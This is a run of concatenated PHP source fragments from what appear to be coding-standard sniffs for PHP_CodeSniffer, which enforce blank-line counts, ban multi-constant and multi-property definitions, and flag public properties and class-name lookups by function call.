MissingClassGroupsException(array_values($missingGroups)); } } $this->normalizedGroups = $normalizedGroups; } return $this->normalizedGroups; } /** * @param array $supportedGroups * @return array */ private function unpackShortcut(string $shortcut, array $supportedGroups): array { $groups = []; foreach (self::SHORTCUTS[$shortcut] as $groupOrShortcut) { if (in_array($groupOrShortcut, $supportedGroups, true)) { $groups[] = $groupOrShortcut; } elseif ( !array_key_exists($groupOrShortcut, self::SHORTCUTS) && in_array($groupOrShortcut, self::SHORTCUTS[self::GROUP_SHORTCUT_FINAL_METHODS], true) ) { // Nothing } else { $groups = array_merge($groups, $this->unpackShortcut($groupOrShortcut, $supportedGroups)); } } return $groups; } } */ public function register(): array { return [T_CONST]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $constantPointer */ public function process(File $phpcsFile, $constantPointer): int { $tokens = $phpcsFile->getTokens(); if ($tokens[$constantPointer]['conditions'] === []) { return $constantPointer; } /** @var int $classPointer */ $classPointer = array_keys($tokens[$constantPointer]['conditions'])[count($tokens[$constantPointer]['conditions']) - 1]; if (!in_array($tokens[$classPointer]['code'], Tokens::$ooScopeTokens, true)) { return $constantPointer; } return parent::process($phpcsFile, $constantPointer); } protected function isNextMemberValid(File $phpcsFile, int $pointer): bool { $tokens = $phpcsFile->getTokens(); if ($tokens[$pointer]['code'] === T_CONST) { return true; } $nextPointer = TokenHelper::findNext($phpcsFile, [T_FUNCTION, T_ENUM_CASE, T_CONST, T_VARIABLE, T_USE], $pointer + 1); return $nextPointer !== null && $tokens[$nextPointer]['code'] === T_CONST; } protected function addError(File $phpcsFile, int $pointer, int $minExpectedLines, int $maxExpectedLines, int $found): bool { if ($minExpectedLines === $maxExpectedLines) { $errorMessage = $minExpectedLines === 1 ? 'Expected 1 blank line after constant, found %3$d.' : 'Expected %2$d blank lines after constant, found %3$d.'; } else { $errorMessage = 'Expected %1$d to %2$d blank lines after constant, found %3$d.'; } $error = sprintf($errorMessage, $minExpectedLines, $maxExpectedLines, $found); return $phpcsFile->addFixableError($error, $pointer, self::CODE_INCORRECT_COUNT_OF_BLANK_LINES_AFTER_CONSTANT); } } */ public function register(): array { return [T_FUNCTION]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $functionPointer */ public function process(File $phpcsFile, $functionPointer): void { $tokens = $phpcsFile->getTokens(); $namePointer = TokenHelper::findNextEffective($phpcsFile, $functionPointer + 1); if (strtolower($tokens[$namePointer]['content']) !== '__construct') { return; } $modifierPointers = TokenHelper::findNextAll( $phpcsFile, [...array_values(Tokens::$scopeModifiers), T_READONLY], $tokens[$functionPointer]['parenthesis_opener'] + 1, $tokens[$functionPointer]['parenthesis_closer'], ); if ($modifierPointers === []) { return; } foreach ($modifierPointers as $modifierPointer) { $variablePointer = TokenHelper::findNext($phpcsFile, T_VARIABLE, $modifierPointer + 1); $phpcsFile->addError( sprintf( 'Constructor property promotion is disallowed, promotion of property %s found.', $tokens[$variablePointer]['content'], ), $variablePointer, self::CODE_DISALLOWED_CONSTRUCTOR_PROPERTY_PROMOTION, ); } } } */ public function register(): array { return [ T_STATIC, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $staticPointer */ public function process(File $phpcsFile, $staticPointer): void { $tokens = $phpcsFile->getTokens(); $doubleColonPointer = TokenHelper::findNextEffective($phpcsFile, $staticPointer + 1); if ($tokens[$doubleColonPointer]['code'] !== T_DOUBLE_COLON) { return; } $stringPointer = TokenHelper::findNextEffective($phpcsFile, $doubleColonPointer + 1); if ($tokens[$stringPointer]['code'] !== T_STRING) { return; } if (strtolower($tokens[$stringPointer]['content']) === 'class') { return; } $pointerAfterString = TokenHelper::findNextEffective($phpcsFile, $stringPointer + 1); if ($tokens[$pointerAfterString]['code'] === T_OPEN_PARENTHESIS) { return; } $fix = $phpcsFile->addFixableError( 'Late static binding for constants is disallowed.', $staticPointer, self::CODE_DISALLOWED_LATE_STATIC_BINDING_FOR_CONSTANT, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $staticPointer, 'self'); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_CONST]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $constantPointer */ public function process(File $phpcsFile, $constantPointer): void { $tokens = $phpcsFile->getTokens(); $semicolonPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $constantPointer + 1); $commaPointers = []; $nextPointer = $constantPointer; do { $nextPointer = TokenHelper::findNext($phpcsFile, [T_COMMA, T_OPEN_SHORT_ARRAY], $nextPointer + 1, $semicolonPointer); if ($nextPointer === null) { break; } if ($tokens[$nextPointer]['code'] === T_OPEN_SHORT_ARRAY) { $nextPointer = $tokens[$nextPointer]['bracket_closer']; continue; } $commaPointers[] = $nextPointer; } while (true); if (count($commaPointers) === 0) { return; } $fix = $phpcsFile->addFixableError( 'Use of multi constant definition is disallowed.', $constantPointer, self::CODE_DISALLOWED_MULTI_CONSTANT_DEFINITION, ); if (!$fix) { return; } $possibleVisibilityPointer = TokenHelper::findPreviousEffective($phpcsFile, $constantPointer - 1); $visibilityPointer = in_array($tokens[$possibleVisibilityPointer]['code'], Tokens::$scopeModifiers, true) ? $possibleVisibilityPointer : null; $visibility = $visibilityPointer !== null ? $tokens[$possibleVisibilityPointer]['content'] : null; $pointerAfterConst = TokenHelper::findNextEffective($phpcsFile, $constantPointer + 1); $pointerBeforeSemicolon = TokenHelper::findPreviousEffective($phpcsFile, $semicolonPointer - 1); $indentation = IndentationHelper::getIndentation($phpcsFile, $visibilityPointer ?? $constantPointer); $docCommentPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $constantPointer); $docComment = $docCommentPointer !== null ? trim(TokenHelper::getContent($phpcsFile, $docCommentPointer, $tokens[$docCommentPointer]['comment_closer'])) : null; $data = []; foreach ($commaPointers as $commaPointer) { $data[$commaPointer] = [ 'pointerBeforeComma' => TokenHelper::findPreviousEffective($phpcsFile, $commaPointer - 1), 'pointerAfterComma' => TokenHelper::findNextEffective($phpcsFile, $commaPointer + 1), ]; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $constantPointer, ' '); FixerHelper::removeBetween($phpcsFile, $constantPointer, $pointerAfterConst); foreach ($commaPointers as $commaPointer) { FixerHelper::removeBetween($phpcsFile, $data[$commaPointer]['pointerBeforeComma'], $commaPointer); FixerHelper::replace( $phpcsFile, $commaPointer, sprintf( ';%s%s%s%sconst ', $phpcsFile->eolChar, $docComment !== null ? sprintf('%s%s%s', $indentation, $docComment, $phpcsFile->eolChar) : '', $indentation, $visibility !== null ? sprintf('%s ', $visibility) : '', ), ); FixerHelper::removeBetween($phpcsFile, $commaPointer, $data[$commaPointer]['pointerAfterComma']); } FixerHelper::removeBetween($phpcsFile, $pointerBeforeSemicolon, $semicolonPointer); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $modifierPointer */ public function process(File $phpcsFile, $modifierPointer): void { $tokens = $phpcsFile->getTokens(); $asPointer = TokenHelper::findPreviousEffective($phpcsFile, $modifierPointer - 1); if ($tokens[$asPointer]['code'] === T_AS) { return; } $nextPointer = TokenHelper::findNextEffective($phpcsFile, $modifierPointer + 1); if (in_array($tokens[$nextPointer]['code'], TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, true)) { // We don't want to report the same property multiple times return; } // Ignore other class members with same mofidiers $propertyPointer = TokenHelper::findNext($phpcsFile, [T_VARIABLE, T_CONST, T_FUNCTION, T_CLASS], $modifierPointer + 1); if ( $propertyPointer === null || $tokens[$propertyPointer]['code'] !== T_VARIABLE || !PropertyHelper::isProperty($phpcsFile, $propertyPointer) ) { return; } $semicolonPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $propertyPointer + 1); $commaPointers = []; $nextPointer = $propertyPointer; do { $nextPointer = TokenHelper::findNext($phpcsFile, [T_COMMA, T_OPEN_SHORT_ARRAY, T_ARRAY], $nextPointer + 1, $semicolonPointer); if ($nextPointer === null) { break; } if ($tokens[$nextPointer]['code'] === T_OPEN_SHORT_ARRAY) { $nextPointer = $tokens[$nextPointer]['bracket_closer']; continue; } if ($tokens[$nextPointer]['code'] === T_ARRAY) { $nextPointer = $tokens[$nextPointer]['parenthesis_closer']; continue; } $commaPointers[] = $nextPointer; } while (true); if (count($commaPointers) === 0) { return; } $fix = $phpcsFile->addFixableError( 'Use of multi property definition is disallowed.', $modifierPointer, self::CODE_DISALLOWED_MULTI_PROPERTY_DEFINITION, ); if (!$fix) { return; } $propertyStartPointer = PropertyHelper::getStartPointer($phpcsFile, $propertyPointer); $pointerBeforeProperty = TokenHelper::findPreviousEffective($phpcsFile, $propertyPointer - 1); $pointerBeforeSemicolon = TokenHelper::findPreviousEffective($phpcsFile, $semicolonPointer - 1); $indentation = IndentationHelper::getIndentation($phpcsFile, $propertyStartPointer); $docCommentPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $propertyPointer); $docComment = $docCommentPointer !== null ? trim(TokenHelper::getContent($phpcsFile, $docCommentPointer, $tokens[$docCommentPointer]['comment_closer'])) : null; $data = []; foreach ($commaPointers as $commaPointer) { $data[$commaPointer] = [ 'pointerBeforeComma' => TokenHelper::findPreviousEffective($phpcsFile, $commaPointer - 1), 'pointerAfterComma' => TokenHelper::findNextEffective($phpcsFile, $commaPointer + 1), ]; } $propertyContent = TokenHelper::getContent($phpcsFile, $propertyStartPointer, $pointerBeforeProperty); $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $pointerBeforeProperty + 1, $propertyPointer - 1, ' '); foreach ($commaPointers as $commaPointer) { FixerHelper::removeBetween($phpcsFile, $data[$commaPointer]['pointerBeforeComma'], $commaPointer); FixerHelper::replace( $phpcsFile, $commaPointer, sprintf( ';%s%s%s%s ', $phpcsFile->eolChar, $docComment !== null ? sprintf('%s%s%s', $indentation, $docComment, $phpcsFile->eolChar) : '', $indentation, $propertyContent, ), ); FixerHelper::removeBetween($phpcsFile, $commaPointer, $data[$commaPointer]['pointerAfterComma']); } FixerHelper::removeBetween($phpcsFile, $pointerBeforeSemicolon, $semicolonPointer); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_OBJECT_OPERATOR]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $objectOperatorPointer */ public function process(File $phpcsFile, $objectOperatorPointer): void { $tokens = $phpcsFile->getTokens(); $curlyBracketOpenerPointer = TokenHelper::findNextEffective($phpcsFile, $objectOperatorPointer + 1); if ($tokens[$curlyBracketOpenerPointer]['code'] !== T_OPEN_CURLY_BRACKET) { return; } $curlyBracketCloserPointer = $tokens[$curlyBracketOpenerPointer]['bracket_closer']; if (TokenHelper::findNextExcluding( $phpcsFile, T_CONSTANT_ENCAPSED_STRING, $curlyBracketOpenerPointer + 1, $curlyBracketCloserPointer, ) !== null) { return; } $pointerAfterCurlyBracketCloser = TokenHelper::findNextEffective($phpcsFile, $curlyBracketCloserPointer + 1); if ($tokens[$pointerAfterCurlyBracketCloser]['code'] === T_OPEN_PARENTHESIS) { return; } if (preg_match( '~^(["\'])([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\1$~', $tokens[$curlyBracketOpenerPointer + 1]['content'], $matches, ) !== 1) { return; } $fix = $phpcsFile->addFixableError( 'String expression property fetch is disallowed, use identifier property fetch.', $curlyBracketOpenerPointer, self::CODE_DISALLOWED_STRING_EXPRESSION_PROPERTY_FETCH, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $curlyBracketOpenerPointer, $curlyBracketCloserPointer, $matches[2]); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return array_values(Tokens::$ooScopeTokens); } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $stackPointer */ public function process(File $phpcsFile, $stackPointer): void { $this->linesCountAfterOpeningBrace = SniffSettingsHelper::normalizeInteger($this->linesCountAfterOpeningBrace); $this->linesCountBeforeClosingBrace = SniffSettingsHelper::normalizeInteger($this->linesCountBeforeClosingBrace); $this->processOpeningBrace($phpcsFile, $stackPointer); $this->processClosingBrace($phpcsFile, $stackPointer); } private function processOpeningBrace(File $phpcsFile, int $stackPointer): void { $tokens = $phpcsFile->getTokens(); $typeToken = $tokens[$stackPointer]; $openerPointer = $typeToken['scope_opener']; $openerToken = $tokens[$openerPointer]; $nextPointerAfterOpeningBrace = TokenHelper::findNextNonWhitespace($phpcsFile, $openerPointer + 1); $nextTokenAfterOpeningBrace = $tokens[$nextPointerAfterOpeningBrace]; $lines = $nextTokenAfterOpeningBrace['line'] - $openerToken['line'] - 1; if ($lines === $this->linesCountAfterOpeningBrace) { return; } if ($this->linesCountAfterOpeningBrace === 1) { $fix = $phpcsFile->addFixableError( sprintf('There must be one empty line after %s opening brace.', $typeToken['content']), $openerPointer, $lines === 0 ? self::CODE_NO_EMPTY_LINE_AFTER_OPENING_BRACE : self::CODE_MULTIPLE_EMPTY_LINES_AFTER_OPENING_BRACE, ); } else { $fix = $phpcsFile->addFixableError(sprintf( 'There must be exactly %d empty lines after %s opening brace.', $this->linesCountAfterOpeningBrace, $typeToken['content'], ), $openerPointer, self::CODE_INCORRECT_EMPTY_LINES_AFTER_OPENING_BRACE); } if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); if ($lines < $this->linesCountAfterOpeningBrace) { for ($i = $lines; $i < $this->linesCountAfterOpeningBrace; $i++) { $phpcsFile->fixer->addNewline($openerPointer); } } else { for ($i = $openerPointer + $this->linesCountAfterOpeningBrace + 2; $i < $nextPointerAfterOpeningBrace; $i++) { if ($phpcsFile->fixer->getTokenContent($i) !== $phpcsFile->eolChar) { break; } FixerHelper::replace($phpcsFile, $i, ''); } } $phpcsFile->fixer->endChangeset(); } private function processClosingBrace(File $phpcsFile, int $stackPointer): void { $tokens = $phpcsFile->getTokens(); $typeToken = $tokens[$stackPointer]; $closerPointer = $typeToken['scope_closer']; $closerToken = $tokens[$closerPointer]; $previousPointerBeforeClosingBrace = TokenHelper::findPreviousNonWhitespace($phpcsFile, $closerPointer - 1); $previousTokenBeforeClosingBrace = $tokens[$previousPointerBeforeClosingBrace]; $lines = $closerToken['line'] - $previousTokenBeforeClosingBrace['line'] - 1; if ($lines === $this->linesCountBeforeClosingBrace) { return; } if ($this->linesCountBeforeClosingBrace === 1) { $fix = $phpcsFile->addFixableError( sprintf('There must be one empty line before %s closing brace.', $typeToken['content']), $closerPointer, $lines === 0 ? self::CODE_NO_EMPTY_LINE_BEFORE_CLOSING_BRACE : self::CODE_MULTIPLE_EMPTY_LINES_BEFORE_CLOSING_BRACE, ); } else { $fix = $phpcsFile->addFixableError(sprintf( 'There must be exactly %d empty lines before %s closing brace.', $this->linesCountBeforeClosingBrace, $typeToken['content'], ), $closerPointer, self::CODE_INCORRECT_EMPTY_LINES_BEFORE_CLOSING_BRACE); } if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); if ($lines < $this->linesCountBeforeClosingBrace) { for ($i = $lines; $i < $this->linesCountBeforeClosingBrace; $i++) { $phpcsFile->fixer->addNewlineBefore($closerPointer); } } else { FixerHelper::removeBetween( $phpcsFile, $previousPointerBeforeClosingBrace + $this->linesCountBeforeClosingBrace + 1, $closerPointer, ); } $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_ENUM_CASE]; } protected function isNextMemberValid(File $phpcsFile, int $pointer): bool { $tokens = $phpcsFile->getTokens(); if ($tokens[$pointer]['code'] === T_ENUM_CASE) { return true; } $nextPointer = TokenHelper::findNext($phpcsFile, [T_FUNCTION, T_CONST, T_VARIABLE, T_USE, T_ENUM_CASE], $pointer + 1); return $nextPointer !== null && $tokens[$nextPointer]['code'] === T_ENUM_CASE; } protected function addError(File $phpcsFile, int $pointer, int $minExpectedLines, int $maxExpectedLines, int $found): bool { if ($minExpectedLines === $maxExpectedLines) { $errorMessage = $minExpectedLines === 1 ? 'Expected 1 blank line after enum case, found %3$d.' : 'Expected %2$d blank lines after enum case, found %3$d.'; } else { $errorMessage = 'Expected %1$d to %2$d blank lines after enum case, found %3$d.'; } $error = sprintf($errorMessage, $minExpectedLines, $maxExpectedLines, $found); return $phpcsFile->addFixableError($error, $pointer, self::CODE_INCORRECT_COUNT_OF_BLANK_LINES_AFTER_ENUM_CASE); } } */ public function register(): array { return TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $tokens = $phpcsFile->getTokens(); $asPointer = TokenHelper::findPreviousEffective($phpcsFile, $pointer - 1); if ($tokens[$asPointer]['code'] === T_AS) { return; } $nextPointer = TokenHelper::findNextEffective($phpcsFile, $pointer + 1); if (in_array($tokens[$nextPointer]['code'], TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, true)) { // We don't want to report the same property multiple times return; } // Ignore other class members with same mofidiers $propertyPointer = TokenHelper::findNext($phpcsFile, [T_VARIABLE, T_CONST, T_FUNCTION, T_CLASS], $pointer + 1); if ( $propertyPointer === null || $tokens[$propertyPointer]['code'] !== T_VARIABLE || !PropertyHelper::isProperty($phpcsFile, $propertyPointer, $this->checkPromoted) ) { return; } // Skip sniff classes, they have public properties for configuration (unfortunately) if ($this->isSniffClass($phpcsFile, $propertyPointer)) { return; } $propertyStartPointer = PropertyHelper::getStartPointer($phpcsFile, $propertyPointer); $modifiersPointers = TokenHelper::findNextAll( $phpcsFile, TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, $propertyStartPointer, $propertyPointer, ); $modifiersCodes = array_map(static fn (int $modifierPointer) => $tokens[$modifierPointer]['code'], $modifiersPointers); if (in_array(T_PROTECTED, $modifiersCodes, true) || in_array(T_PRIVATE, $modifiersCodes, true)) { return; } if ($this->allowReadonly && in_array(T_READONLY, $modifiersCodes, true)) { return; } if ( $this->allowNonPublicSet && ( in_array(T_PROTECTED_SET, $modifiersCodes, true) || in_array(T_PRIVATE_SET, $modifiersCodes, true) ) ) { return; } $phpcsFile->addError( 'Do not use public properties. Use method access instead.', $propertyPointer, self::CODE_FORBIDDEN_PUBLIC_PROPERTY, ); } private function isSniffClass(File $phpcsFile, int $position): bool { $classTokenPosition = ClassHelper::getClassPointer($phpcsFile, $position); $classNameToken = ClassHelper::getName($phpcsFile, $classTokenPosition); return StringHelper::endsWith($classNameToken, 'Sniff'); } } */ public function register(): array { return [T_FUNCTION]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $methodPointer */ public function process(File $phpcsFile, $methodPointer): void { $this->minLinesCount = SniffSettingsHelper::normalizeInteger($this->minLinesCount); $this->maxLinesCount = SniffSettingsHelper::normalizeInteger($this->maxLinesCount); if (!FunctionHelper::isMethod($phpcsFile, $methodPointer)) { return; } $tokens = $phpcsFile->getTokens(); $methodEndPointer = array_key_exists('scope_closer', $tokens[$methodPointer]) ? $tokens[$methodPointer]['scope_closer'] : TokenHelper::findNext($phpcsFile, T_SEMICOLON, $methodPointer + 1); $classPointer = ClassHelper::getClassPointer($phpcsFile, $methodPointer); $nextMethodPointer = TokenHelper::findNext($phpcsFile, T_FUNCTION, $methodEndPointer + 1, $tokens[$classPointer]['scope_closer']); if ($nextMethodPointer === null) { return; } $nextMethodAttributeStartPointer = null; $nextMethodDocCommentStartPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $nextMethodPointer); if ( $nextMethodDocCommentStartPointer !== null && $tokens[$tokens[$nextMethodDocCommentStartPointer]['comment_closer']]['line'] + 1 !== $tokens[$nextMethodPointer]['line'] ) { $nextMethodDocCommentStartPointer = null; } else { $nextMethodAttributeStartPointer = TokenHelper::findPrevious( $phpcsFile, T_ATTRIBUTE, $nextMethodPointer - 1, $methodEndPointer, ); if ($nextMethodAttributeStartPointer !== null) { do { $pointerBefore = TokenHelper::findPreviousNonWhitespace( $phpcsFile, $nextMethodAttributeStartPointer - 1, $methodEndPointer, ); if ($tokens[$pointerBefore]['code'] === T_ATTRIBUTE_END) { $nextMethodAttributeStartPointer = $tokens[$pointerBefore]['attribute_opener']; continue; } break; } while (true); } } $nextMethodFirstLinePointer = $tokens[$nextMethodPointer]['line'] === $tokens[$methodEndPointer]['line'] ? TokenHelper::findNextEffective($phpcsFile, $methodEndPointer + 1) : TokenHelper::findFirstTokenOnLine( $phpcsFile, $nextMethodDocCommentStartPointer ?? $nextMethodAttributeStartPointer ?? $nextMethodPointer, ); if (TokenHelper::findNextNonWhitespace($phpcsFile, $methodEndPointer + 1, $nextMethodFirstLinePointer) !== null) { return; } $linesBetween = $tokens[$nextMethodFirstLinePointer]['line'] !== $tokens[$methodEndPointer]['line'] ? $tokens[$nextMethodFirstLinePointer]['line'] - $tokens[$methodEndPointer]['line'] - 1 : null; if ($linesBetween !== null && $linesBetween >= $this->minLinesCount && $linesBetween <= $this->maxLinesCount) { return; } if ($this->minLinesCount === $this->maxLinesCount) { $errorMessage = $this->minLinesCount === 1 ? 'Expected 1 blank line after method, found %3$d.' : 'Expected %2$d blank lines after method, found %3$d.'; } else { $errorMessage = 'Expected %1$d to %2$d blank lines after method, found %3$d.'; } $fix = $phpcsFile->addFixableError( sprintf($errorMessage, $this->minLinesCount, $this->maxLinesCount, $linesBetween ?? 0), $methodPointer, self::CODE_INCORRECT_LINES_COUNT_BETWEEN_METHODS, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); if ($linesBetween === null) { FixerHelper::add( $phpcsFile, $methodEndPointer, $phpcsFile->eolChar . str_repeat($phpcsFile->eolChar, $this->minLinesCount) . IndentationHelper::getIndentation( $phpcsFile, TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $methodPointer), ), ); FixerHelper::removeBetween($phpcsFile, $methodEndPointer, $nextMethodFirstLinePointer); } elseif ($linesBetween > $this->maxLinesCount) { FixerHelper::add( $phpcsFile, $methodEndPointer, str_repeat($phpcsFile->eolChar, $this->maxLinesCount + 1), ); $firstPointerOnNextMethodLine = TokenHelper::findFirstTokenOnLine($phpcsFile, $nextMethodFirstLinePointer); FixerHelper::removeBetween($phpcsFile, $methodEndPointer, $firstPointerOnNextMethodLine); } else { FixerHelper::add( $phpcsFile, $methodEndPointer, str_repeat($phpcsFile->eolChar, $this->minLinesCount - $linesBetween), ); } $phpcsFile->fixer->endChangeset(); } } $groups */ public function __construct(array $groups) { parent::__construct( sprintf( 'You need configure all class groups. These groups are missing from your configuration: %s.', implode(', ', $groups), ), ); } } */ public function register(): array { return [ T_CLASS_C, ...TokenHelper::ONLY_NAME_TOKEN_CODES, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $this->enableOnObjects = SniffSettingsHelper::isEnabledByPhpVersion($this->enableOnObjects, 80000); $tokens = $phpcsFile->getTokens(); if ($tokens[$pointer]['code'] === T_CLASS_C) { $this->checkMagicConstant($phpcsFile, $pointer); return; } $this->checkFunctionCall($phpcsFile, $pointer); } private function checkMagicConstant(File $phpcsFile, int $pointer): void { $fix = $phpcsFile->addFixableError( 'Class name referenced via magic constant.', $pointer, self::CODE_CLASS_NAME_REFERENCED_VIA_MAGIC_CONSTANT, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $pointer, 'self::class'); $phpcsFile->fixer->endChangeset(); } private function checkFunctionCall(File $phpcsFile, int $functionPointer): void { $tokens = $phpcsFile->getTokens(); $functionName = ltrim(strtolower($tokens[$functionPointer]['content']), '\\'); $functionNames = [ 'get_class', 'get_parent_class', 'get_called_class', ]; if (!in_array($functionName, $functionNames, true)) { return; } $openParenthesisPointer = TokenHelper::findNextEffective($phpcsFile, $functionPointer + 1); if ($tokens[$openParenthesisPointer]['code'] !== T_OPEN_PARENTHESIS) { return; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $functionPointer - 1); if (in_array($tokens[$previousPointer]['code'], [T_OBJECT_OPERATOR, T_DOUBLE_COLON, T_FUNCTION], true)) { return; } $parameterPointer = TokenHelper::findNextEffective( $phpcsFile, $openParenthesisPointer + 1, $tokens[$openParenthesisPointer]['parenthesis_closer'], ); $isObjectParameter = static function () use ($phpcsFile, $tokens, $openParenthesisPointer, $parameterPointer): bool { if ($tokens[$parameterPointer]['code'] !== T_VARIABLE) { return false; } $pointerAfterParameterPointer = TokenHelper::findNextEffective($phpcsFile, $parameterPointer + 1); return $pointerAfterParameterPointer === $tokens[$openParenthesisPointer]['parenthesis_closer']; }; $isThisParameter = static function () use ($tokens, $parameterPointer, $isObjectParameter): bool { if (!$isObjectParameter()) { return false; } $parameterName = strtolower($tokens[$parameterPointer]['content']); return $parameterName === '$this'; }; if ($functionName === 'get_class') { if ($parameterPointer === null) { $fixedContent = 'self::class'; } elseif ($isThisParameter()) { $fixedContent = 'static::class'; } elseif ($this->enableOnObjects && $isObjectParameter()) { $fixedContent = sprintf('%s::class', $tokens[$parameterPointer]['content']); } else { return; } } elseif ($functionName === 'get_parent_class') { if ($parameterPointer !== null) { if (!$isThisParameter()) { return; } $classPointer = FunctionHelper::findClassPointer($phpcsFile, $functionPointer); if ($classPointer === null || !ClassHelper::isFinal($phpcsFile, $classPointer)) { return; } } $fixedContent = 'parent::class'; } else { $fixedContent = 'static::class'; } $fix = $phpcsFile->addFixableError( sprintf('Class name referenced via call of function %s().', $functionName), $functionPointer, self::CODE_CLASS_NAME_REFERENCED_VIA_FUNCTION_CALL, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); if ($tokens[$functionPointer - 1]['code'] === T_NS_SEPARATOR) { FixerHelper::replace($phpcsFile, $functionPointer - 1, ''); } FixerHelper::change($phpcsFile, $functionPointer, $tokens[$openParenthesisPointer]['parenthesis_closer'], $fixedContent); $phpcsFile->fixer->endChangeset(); } } linesCountBefore = SniffSettingsHelper::normalizeInteger($this->linesCountBefore); $this->linesCountBeforeFirst = SniffSettingsHelper::normalizeInteger($this->linesCountBeforeFirst); $this->linesCountAfter = SniffSettingsHelper::normalizeInteger($this->linesCountAfter); $this->linesCountAfterLast = SniffSettingsHelper::normalizeInteger($this->linesCountAfterLast); $tokens = $phpcsFile->getTokens(); if (array_key_exists('nested_parenthesis', $tokens[$parentPointer])) { return; } $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $parentPointer - 1); if (in_array($tokens[$previousPointer]['code'], array_merge(Tokens::$castTokens, [T_ASPERAND]), true)) { $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); } $tokensToIgnore = array_merge( Tokens::$assignmentTokens, Tokens::$equalityTokens, Tokens::$booleanOperators, [T_RETURN, T_YIELD, T_YIELD_FROM, T_COLON, T_STRING_CONCAT, T_INLINE_THEN, T_INLINE_ELSE, T_COALESCE, T_MATCH_ARROW], ); if (in_array($tokens[$previousPointer]['code'], $tokensToIgnore, true)) { return; } $previousShortArrayOpenerPointer = TokenHelper::findPrevious($phpcsFile, T_OPEN_SHORT_ARRAY, $parentPointer - 1); if ($previousShortArrayOpenerPointer !== null && $tokens[$previousShortArrayOpenerPointer]['bracket_closer'] > $parentPointer) { return; } parent::process($phpcsFile, $parentPointer); } /** * @return list */ protected function getSupportedKeywords(): array { return [self::KEYWORD_PARENT]; } /** * @return list */ protected function getKeywordsToCheck(): array { return [self::KEYWORD_PARENT]; } protected function getLinesCountBefore(): int { return $this->linesCountBefore; } /** * @phpcsSuppress SlevomatCodingStandard.Functions.UnusedParameter.UnusedParameter */ protected function getLinesCountBeforeFirst(File $phpcsFile, int $parentPointer): int { return $this->linesCountBeforeFirst; } protected function getLinesCountAfter(): int { return $this->linesCountAfter; } /** * @phpcsSuppress SlevomatCodingStandard.Functions.UnusedParameter.UnusedParameter */ protected function getLinesCountAfterLast(File $phpcsFile, int $parentPointer, int $parentEndPointer): int { return $this->linesCountAfterLast; } } |null */ public ?array $modifiersOrder = []; public bool $checkPromoted = false; public bool $enableMultipleSpacesBetweenModifiersCheck = false; /** @var array>|null */ private ?array $normalizedModifiersOrder = null; /** * @return array */ public function register(): array { return TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $modifierPointer */ public function process(File $phpcsFile, $modifierPointer): void { $tokens = $phpcsFile->getTokens(); $asPointer = TokenHelper::findPreviousEffective($phpcsFile, $modifierPointer - 1); if ($tokens[$asPointer]['code'] === T_AS) { return; } $nextPointer = TokenHelper::findNextEffective($phpcsFile, $modifierPointer + 1); if (in_array($tokens[$nextPointer]['code'], TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, true)) { // We don't want to report the same property multiple times return; } if ($tokens[$modifierPointer]['code'] === T_STATIC) { if ($tokens[$nextPointer]['code'] === T_DOUBLE_COLON) { // Ignore static:: return; } if ($tokens[$nextPointer]['code'] === T_OPEN_PARENTHESIS) { // Ignore static() return; } if (in_array($tokens[$nextPointer]['code'], [T_OPEN_CURLY_BRACKET, T_SEMICOLON, T_TYPE_UNION], true)) { // Ignore "static" as return type hint of method return; } } // Ignore other class members with same 